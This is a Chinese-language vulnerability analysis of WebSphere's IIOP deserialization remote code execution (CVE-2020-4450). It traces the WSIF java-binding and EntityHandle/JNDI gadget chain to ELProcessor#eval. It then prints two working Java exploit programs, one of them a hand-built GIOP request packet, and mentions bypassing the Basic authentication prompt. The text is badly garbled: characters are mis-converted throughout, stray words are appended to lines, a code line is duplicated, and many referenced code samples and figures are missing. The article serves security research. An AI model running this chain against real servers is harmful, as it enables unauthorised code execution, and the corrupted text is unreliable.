WebSphere 遠程命令執行漏洞(CVE-2020-4450)分析

做者:Sp4rr0vv @ 白帽匯安全研究院
覈對:r4v3zn @ 白帽匯安全研究院


java

環境準備

基於 ibm installtion mananger 進行搭建。web

8.5.x 版本對應的倉庫地址爲:
https://www.ibm.com/software/repositorymanager/V85WASDeveloperILAN
express

9.0.x 版本對應的倉庫地址爲:
https://www.ibm.com/software/repositorymanager/V9WASILAN
apache

注:需去掉 PH25074 補丁,本文基於 9.0.x 版本進行調試。bootstrap

WebSphere 默認狀況下,280九、9100IIOP協議交互的明文端口,分別對應 CORBAbootstrapNamingService;而 940二、9403 則爲 iiopssl 端口,在默認配置狀況下訪問 WebSpereNamingService 是會走 9403 的SSL 端口,爲了聚焦漏洞,咱們能夠先在 Web 控制檯上手動關閉 SSL。api

WSIF 和 WSDL

WSDLWeb 服務描述語言,Web Services Description Language)是爲描述 Web 服務發佈的 XML 格式。安全

一個 WSDL 文檔一般包含 8 個重要的元素,即 definitions、types、import、message、portType、operation、binding、service 元素,其中 service 元素就定義了各類服務端點,閱讀wsdl時能夠從這個元素開始往上讀。服務器

其中 portType 元素中的 operation 元素定義了一個接口的完整信息,binding 則是爲訪問這個接口規定了一些細節,如能夠設定使用的協議,協議能夠是 soap、http、smtp、ftp 等任何一種傳輸協議,除此之外還能夠綁定 jmsejblocal java 等等,不過都是須要對bindingservice元素作擴展的。oracle

WSIFWeb Services Invocation Framework 的縮寫,意爲 Web 服務調用框架,WSIF 是一組基於 WSDL 文件的 API ,他調用能夠用 WSDL 文件描述的任何服務,在這裏最重點在於擴展了bindingservice 元素,使其能夠動態調用 java 方法和訪問 ejb 等。框架

Demo 到 POC

CVE-2020-4450 中的漏洞利用鏈其中一個要點就是利用其動態調用 java 的特性,繞過對調用方法的限制,咱們下面參考官網提供的 sample 中的案例寫個小 demo,看下這款框架的功能底層是怎麼實現的,以及有什麼特色。

利用鏈中其中一環的限制條件之一是方法中的參數類型、參數數量、參數類型順序必需要與接口定義的一致,本文咱們以 String 類型參數爲例進行測試,咱們寫一個帶有 String 類型的參數接口,來進行跟蹤接口是如何被 WSIF 移花接木到指定的 ELProcessor#eval(String expression)

WSDL 文件以下:

message 元素中定義參數,type 與接口中的類型需保持一致。

portType元素定義 operation 子節點其中該子節點中的 name 與接口名稱。

而後在進行定義 javabinding ,規定 portType 調用的方式爲 java 調用。

其中 java 命名空間元素是關鍵要素,其中包含了實際執行方法的類和方法,後面咱們將會看到 WSIF 如何將 Hello#asyHell(Sring name); 接口方法調用變成 ELProcessor#eval(String)

WSIF 到 eval

經過調用 WSIF 的 API 來訪問 WebService 很簡單,只需四步。

第一步獲取工廠:

第二步實例化 WSIFService,會往擴展註冊中心註冊幾個拓展元素的解析器,其中 JavaBindingSerializer 就是解析 WSDLjava 這個命名空間元素的:

在解析的過程當中經過 unmarshall 進行解析 WDSL 格式

public javax.wsdl.extensions.ExtensibilityElement unmarshall(
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
    Class parentType,
    javax.xml.namespace.QName elementType,
    org.w3c.dom.Element el,
    javax.wsdl.Definition def,
    javax.wsdl.extensions.ExtensionRegistry extReg)
    throws javax.wsdl.WSDLException {
    Trc.entry(this, parentType, elementType, el, def, extReg);

    // CHANGE HERE: Use only one temp string ...

    javax.wsdl.extensions.ExtensibilityElement returnValue = null;

    if (JavaBindingConstants.Q_ELEM_JAVA_BINDING.equals(elementType)) {
        JavaBinding javaBinding = new JavaBinding();
        Trc.exit(javaBinding);
        return javaBinding;
    } else if (JavaBindingConstants.Q_ELEM_JAVA_OPERATION.equals(elementType)) {
        JavaOperation javaOperation = new JavaOperation();

        String methodName = DOMUtils.getAttribute(el, "methodName");
        //String requiredStr = DOMUtils.getAttributeNS(el, Constants.NS_URI_WSDL, Constants.ATTR_REQUIRED);
        if (methodName != null) {
            javaOperation.setMethodName(methodName);
        }

        String methodType = DOMUtils.getAttribute(el, "methodType");
        if (methodType != null) {
            javaOperation.setMethodType(methodType);
        }

        String parameterOrder = DOMUtils.getAttribute(el, "parameterOrder");
        if (parameterOrder != null) {
            javaOperation.setParameterOrder(parameterOrder);
        }

        String returnPart = DOMUtils.getAttribute(el, "returnPart");
        if (returnPart != null) {
            javaOperation.setReturnPart(returnPart);
        }
        Trc.exit(javaOperation);
        return javaOperation;
    } else if (JavaBindingConstants.Q_ELEM_JAVA_ADDRESS.equals(elementType)) {
        JavaAddress javaAddress = new JavaAddress();

        String className = DOMUtils.getAttribute(el, "className");
        if (className != null) {
            javaAddress.setClassName(className);
        }

        String classPath = DOMUtils.getAttribute(el, "classPath");
        if (classPath != null) {
            javaAddress.setClassPath(classPath);
        }

        String classLoader = DOMUtils.getAttribute(el, "classLoader");
        if (classLoader != null) {
            javaAddress.setClassLoader(classLoader);
        }
        Trc.exit(javaAddress);
        return javaAddress;
    }
    Trc.exit(returnValue);
    return returnValue;
}

如下爲分別對應的類,該類的屬性咱們都是能夠在 WSDL 中進行控制的。

JavaOperation 類:

JavaAddress 類:

下面是簡要的調用流程,解析 xml 中的元素,將其都轉換 JAVA 對象,Definition 這個類就是由這些對象組成的,而後根據提供的serviceNameportTypeName 選擇 WSDL 中相對應的 serviceportType,上面說過 portType 就是一些定義抽象訪問接口的集合。

第三步,獲取 stub ,先是根據給定的第一個參數 portName 找到對應的 port,在根據 port 找對應的 binding ,獲取其擴展的 namespaceURI 來找 WSIFProvider 動態加載 WSIFPort 的實現類。

這裏的 binding namespace 就是 java

因此實現類會是由 WSIFDynamicProvider_Java 這個工廠生成的 WSIFPort_Java 對象

這個類有個叫 fieldObjectReference 的字段很關鍵,後面咱們會看到它就是咱們在 WSDL<java:address > 這個元素中指定的ClassName的實例對象,也是最終執行方法的對象。

獲取 WSIFPort_Java 後,接着往下能夠看到,會根據提供的接口生成該接口的代理對象

其中 WSIFClientProxy 實現了 InvocationHandler ,最後對接口中的方法確定會通過它的 invoke 方法處理,下面重點來看下它的invoke方法是怎麼實現的

先是找 operation ,這裏的 method 參數就是正在調用的方法

遍歷咱們在初始化 service 時選定的 portType 中的全部 operation ,首先 operation 的名字要和正在調用的方法名一致

名字一致後,找參數,先是若是兩者的參數都爲 0 的話,就返回這個 operation 了,有參數,判斷參數長度,不一致就繼續遍歷下一個operation

若是參數長度一致,就判斷類型,若是遇到一個不一致的類型就繼續遍歷下一個 operation 若是徹底一致就馬上返回這個 operation ,若是 operation 中定義的參數類型,是正在調用的方法的參數類型的子類的話也行,可是並無限制返回值。

選定 WSDLportType 的這個符合名字和參數條件的 operation 後,接着往下,會根據這個operation的名字、參數名和返回值名由 WSIFPort 的實現類建立對應的 WSIFOperation

這裏咱們 WSIFPortWSIFPort_Java,因此最終的實現類是 WSIFOperation_Java ,可是在這以前還會有個判斷,就是會根據咱們選的 port,找到 bingding,在遍歷 binding 裏的operation 元素,必需要有一個 operation 的名字和正在調用的方法名一致,否則就會直接返回,到這裏咱們看到都是對 wsdloperation 名以及參數類型的限制而已,下面是 WSIFPort_Java 這個類的實例化

跟進斷點這行,會看到 WSIF 會實例化咱們在 WSDL<java:address className="javax.el.ELProcessor"/> 這個標籤那裏指定的className,而後返回其全部的方法

接下來,是根據上面所說的,在實例化以前,篩選出的 wsdlbinding 中的那個 operation,將其中的 java 擴展元素賦值給 fieldJavaOperationModel 字段

而後就根據這個對象的 methodType 字段,判斷是靜態方法仍是實例化方法,最後執行方法會根據這兩個字段作選擇

後面是重點,WSIF 怎麼找真正要執行的方法

而後去 WSDL 找參數

簡單的說下,咱們在下圖這裏指定了 parameterOrder 的情景

WSIF 會遍歷這個列表中的名字,根據當前選定的 WSDL 中的 operation 找到對應的 message 元素,而後會根據這個 parameterOrder 列表中的名字匹配其中的 part 元素的名字,也就是參數名,實例化這個元素指定的 typeClass 對象,放到返回值列表中,在一次遍歷的過程當中,先是找到 input,匹配不上再找output,若是都匹配不上就報錯,到這裏咱們看到了第三個限制,就是指定了 parameterOrder ,那麼對於與其相匹配的 operation 中的 message 中定義的參數名必定要和 parameterOrder 中的一致,至於 returnPart 這個屬性有無都行

而後就是遍歷全部的構造方法,匹配參數類型

先是參數個數要一致,一致後,類型要一致或者 WSDL 中定義的參數類型要是構造函數中參數的子類

第二個找實例方法,咱們最終的目的,找參數類型的過程大體和上面一致,不過在getMethodReturnClass()這裏會判斷 returnPart,沒有的話不要緊,有的話仍是會有些限制

而後就判斷 fieldJavaOperationModel 中的方法 name 在不在咱們指定的那個類的實例方法裏面,到這裏,已經差很少能夠看出這個框架的 javabding 的特色了,當前正在執行的方法的名字只是限制了 WSDL 中一個抽象的 Operation 名字,真正執行的實例方法是在 <java:operation methodName="xxxx" ....> 中指定的

後面就是匹配參數個數

接着是返回值,這裏返回值都是不爲空才判斷,因此對於爲了執行任意方法爲目的來講,咱們甚至能夠不指定 returnPart

後面的過濾條件都和構造方法同樣,最終返回的就是指定名字的方法

最後看下有定義 return 時真正執行方法的調用 executeRequestResponseOperation

後面還有一些特色就不說了,咱們直接看下最終執行實例方法的地方,若是把返回值相關的定義去掉,將會連類型轉換錯誤都沒有,這就很是的棒

解析到序列化

如下爲漏洞精簡版本漏洞序列化棧:

readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
getEJBObject:181, EntityHandle (com.ibm.ejs.container)
findByPrimaryKey:-1, $Proxy94 (com.sun.proxy)
executeInputOnlyOperation:1603, WSIFOperation_Java (org.apache.wsif.providers.java)
eval:57, ELProcessor (javax.el)

WSIFPort_EJB 做爲開始起點,

顯而易見,兩個字段是 transient 的,可是在序列化時手動寫進去了,因此反序列時也手動還原回來了

先看下實現了 WAS 中實現了 Handler 的類,一共就四個,此次 EntityHandle 是主角

這個類的字段以下

getEJBObject() this.object==null 的條件確定能夠知足了

initialContextPropertieshomeJNDIName 都是能夠控制的,正常狀況下確定會想到jndi 注入

惋惜 WAS 默認安裝時的 JDK 版本已經對基於 JNDI 作限制了,並且啓動時會給 ObjectFactoryBuilder 賦值,連 getObjectFactoryFromReference 都到不了

其中在 this.getObjectInstanceUsingObjectFactoryBuilders 中最後會進入到的會是 WASObjectFactoryBuilder 這個類

這裏並不會對 ClassFactory 遠程加載,可是會根據類名實例化咱們指定的工廠類,而後調用 getObjectInstance ,基於高版本 JDKjndi 注入利用方式,就是去尋找有沒有這樣的 ObjectFactory ,它的 getObjectInstance 裏的操做能直接或者間接地結合後續操做來形成漏洞

org.apache.wsif.naming.WSIFServiceObjectFactory 工廠類的 getObjectInstance 就是開頭介紹的 WSIF API幾步,裏面全部參數都是能夠控制的,由於當 lookup 到這裏的時候,就是爲了 decode 咱們構造的 reference 對象。

仔細看一下,若是咱們指定 renferceclassNameWSIFServiceStubRef.class 的時候,回顧開頭對 WSIF API4 個步驟,會發現除了調用方法名以及其參數以外,裏面用到的參數都再這裏了,這意味着若是這個代理對象從 lookup 這裏出去後,對這個對象有任何的接口方法調用,咱們都是能夠根據 WSIFjava binding 來控制其真正執行方法的對象以及要執行的方法的

再看下 lookup 後的流程,是將 lookup 回來的對象轉換成 EJBHome ,而後調用 findFindByPrimaryKey 方法

EJBHome 這個接口並無 findFindByPrimaryKey 這個方法,因此須要去找它的子類,CounterHome 就是其中一個

如今讓咱們看一下利用鏈要怎麼構造,因爲 EntityHandle 這個類只實現了 Handler 接口,沒有實現 EJBObject 接口,咱們能夠自行實現 EJBObject 接口,讓其返回

咱們特定構造的 EntityHandle 對象綁定咱們的RMI地址去進行 jndi 注入

賦值給 WSIFPort_EJB 便可

而後起個 RMI 綁定一下咱們構造的 WSIF Reference

如下爲互聯網公開的漏洞 POC 利用詳細代碼:

public static void main(String[] args) throws NamingException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
    System.getProperties().put("com.ibm.CORBA.ConfigURL","file:////sas.client.props");
    System.getProperties().put("com.ibm.SSL.ConfigURL","file://ssl.client.props");
    WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
    Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
    field.setAccessible(true);
    field.set(wsifPort_ejb, new MyEJBObject());
    Properties env = new Properties();
    env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:2809/");
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
    InitialContext context = new InitialContext(env);
    context.list("");
    Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
    f_defaultInitCtx.setAccessible(true);
    WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
    Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
    f_context.setAccessible(true);
    CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
    Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
    f_corbaNC.setAccessible(true);
    _NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
    Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
    f__delegate.setAccessible(true);
    ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
    Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
    f_ior.setAccessible(true);
    IOR ior = (IOR) f_ior.get(clientDelegate);
    Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
    f_orb.setAccessible(true);
    ORB orb = (ORB) f_orb.get(clientDelegate);
    GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
    Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
    getConnection.setAccessible(true);
    Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "");
    Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
    setConnectionContexts.setAccessible(true);

    CDROutputStream outputStream = ORB.createCDROutputStream();
    outputStream.putEndian();
    Any any = orb.create_any();
    any.insert_Value(wsifPort_ejb);
    PropagationContext propagationContext = new PropagationContext(
            0,
            new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
            new TransIdentity[0],
            any
    );
    PropagationContextHelper.write(outputStream, propagationContext);
    byte[] result = outputStream.toByteArray();

    ServiceContext serviceContext = new ServiceContext(0, result);
    ArrayList arrayList = new ArrayList();
    arrayList.add(serviceContext);
    setConnectionContexts.invoke(connection, arrayList);
    context.list("");
 }

一些思考

WAS 默認對 RMI/IIOP 開啓了 SSLBasic 認證,前面爲了聚焦漏洞我把 WASSSL 關了,若是沒關,又沒指定 SSL 配置文件的話,直接用互聯網中公開的漏洞利用方案在設置 ServiceContext 時相關的代碼會直接報錯拋出異常。

並且開啓了也不能直接打,由於還有個 BasicAuth ,會彈出用戶名密碼驗證框,不知道帳戶密碼的話,敲一下回車也能過去

能夠抓包和 Debug 一下源碼看一下爲何會這樣,在 WsnInitCtx 上下文中 list 或者 lookup 的實現是,先去發個 locateRequsetBooStrap 那獲取 NamingService 的地址,拿到 NamingServiceIOR 後再發送 Request 請求,若是 WAS 沒啓用 SSL 的話,在服務器返回的 IOR Profile 中是會帶有端口指明 NamingService 的端口。

若是 BootStrap 返回的 IOR 只帶有 Host ,端口爲 0,可是在返回的 IOR 中會有 SSL 的相關內容,則說明是要走 SSL 端口的,若是咱們的客戶端沒配置 SSL 屬性的話,那他是不會走 SSL 鏈接的,而是直接鏈接 host:0,確定連不上

問題就出在這裏,由於本質上,要進入到本次的反序列化調用點,根本是不須要一個 LocateRequst 的,咱們能夠 debug 看一下,在 WAS 的服務端在接受 iiop 請求時,會先通過幾個攔截器的處理,默認狀況下一共7 個攔截器

取決於 Corba 客戶端的請求類型,執行不一樣的邏輯

   private void invokeInterceptor(ServerRequestInterceptor var1, ServerRequestInfoImpl var2) throws ForwardRequest {
        switch(var2.state) {
        case 8:
            var1.receive_request_service_contexts(var2);
            break;
        case 9:
            var1.receive_request(var2);
            break;
        case 10:
            var1.send_reply(var2);
            break;
        case 11:
            var1.send_exception(var2);
            break;
        case 12:
            var1.send_other(var2);
            break;
        default:
            throw new INTERNAL("Unexpected state for ServerRequestInfo: " + var2.state);
        }

    }

其中只要是 Request 請求,就能進入到 TxServerInterceptorreceive_request,進行後面的 ServiceContext 處理操做,觸發本次的反序化過程

因此想寫個實戰能用的 POC 或者 EXP 的話,直接用 WAS 的 JNDI API 確定不行的,能夠再找一下能夠直接發 Request 和設置 ServiceContextAPI 。或者考慮手動構造一下數據包,默認端口沒改的狀況下,直接打2809或者9100,至於怎麼構造,能夠參考一下 GIOP規範JDK 或者 IBM 的那套 corba api ,下面演示一下大體的構造過程

直接用 Oracle JDK 的 原生 corba API 請求一下 2809,就會發現客戶端發的是一個帶有 ServiceContextRequest 請求的

參照 GIOP 規範,整個 GIOP 頭是固定的 12 個字節,其中第 8 個字節是請求類型

再參照一下這個 API 是怎麼發包的,先是十二個字節的 GIOP 頭

而後是一個固定的 4 字節 ServiceContext 的數目

後面就是 ServiceContext 格式也是固定的

寫完 ServiceContext 後,是下面這個格式

因此,大體的驗證代碼以下:

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
    WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
    Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
    field.setAccessible(true);
    field.set(wsifPort_ejb, new MyEJBObject());

    Socket socket = new Socket();
    InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 2809);
    socket.connect(inetSocketAddress,0);
    socket.setKeepAlive(true);
    socket.setTcpNoDelay(true);
    OutputStream outputStream = socket.getOutputStream();
    EncoderOutputStream cdrOutputStream = (EncoderOutputStream)ORB.createCDROutputStream();
    cdrOutputStream.write_long(1195986768);
    cdrOutputStream.write_octet((byte)1);//GIOPMajor
    cdrOutputStream.write_octet((byte)0);//GIOPMinor
    cdrOutputStream.write_octet((byte)0);//flags
    cdrOutputStream.write_octet((byte)0);//type //request
    Object sizePosition = cdrOutputStream.writePlaceHolderLong((byte) 0);//size
    cdrOutputStream.write_long(1);//ServiceContext size

    CDROutputStream outputStream2 = ORB.createCDROutputStream();
    outputStream2.putEndian();
    Any any = ORB.init().create_any();
    any.insert_Value(wsifPort_ejb);
    PropagationContext propagationContext = new PropagationContext(
            0,
            new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
            new TransIdentity[0],
            any
    );
    PropagationContextHelper.write(outputStream2, propagationContext);
    byte[] result = outputStream2.toByteArray();
    ServiceContext serviceContext = new ServiceContext(0, result);
    serviceContext.write(cdrOutputStream);
    int writeOffset2 = cdrOutputStream.getByteBuffer().getWriteOffset();
    System.out.println(writeOffset2);

    cdrOutputStream.write_long(6);//requestID
    cdrOutputStream.write_octet((byte)1);//responseExpeced
    ObjectKey objectKey = new ObjectKey("NameService".getBytes());
    cdrOutputStream.write_long(objectKey.length());
    cdrOutputStream.write_octet_array(objectKey.getBytes(), 0, objectKey.length());
    cdrOutputStream.write_long(3);
    cdrOutputStream.write_octet_array("get".getBytes(),0,3);
    cdrOutputStream.write_long(0);
    cdrOutputStream.write_long(0);


    int writeOffsetEND = cdrOutputStream.getByteBuffer().getWriteOffset();
    cdrOutputStream.rewriteLong(writeOffsetEND-12,sizePosition);
    cdrOutputStream.getByteBuffer().flushTo(outputStream);
    System.in.read();

}

結果

參考


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1315/

相關文章
相關標籤/搜索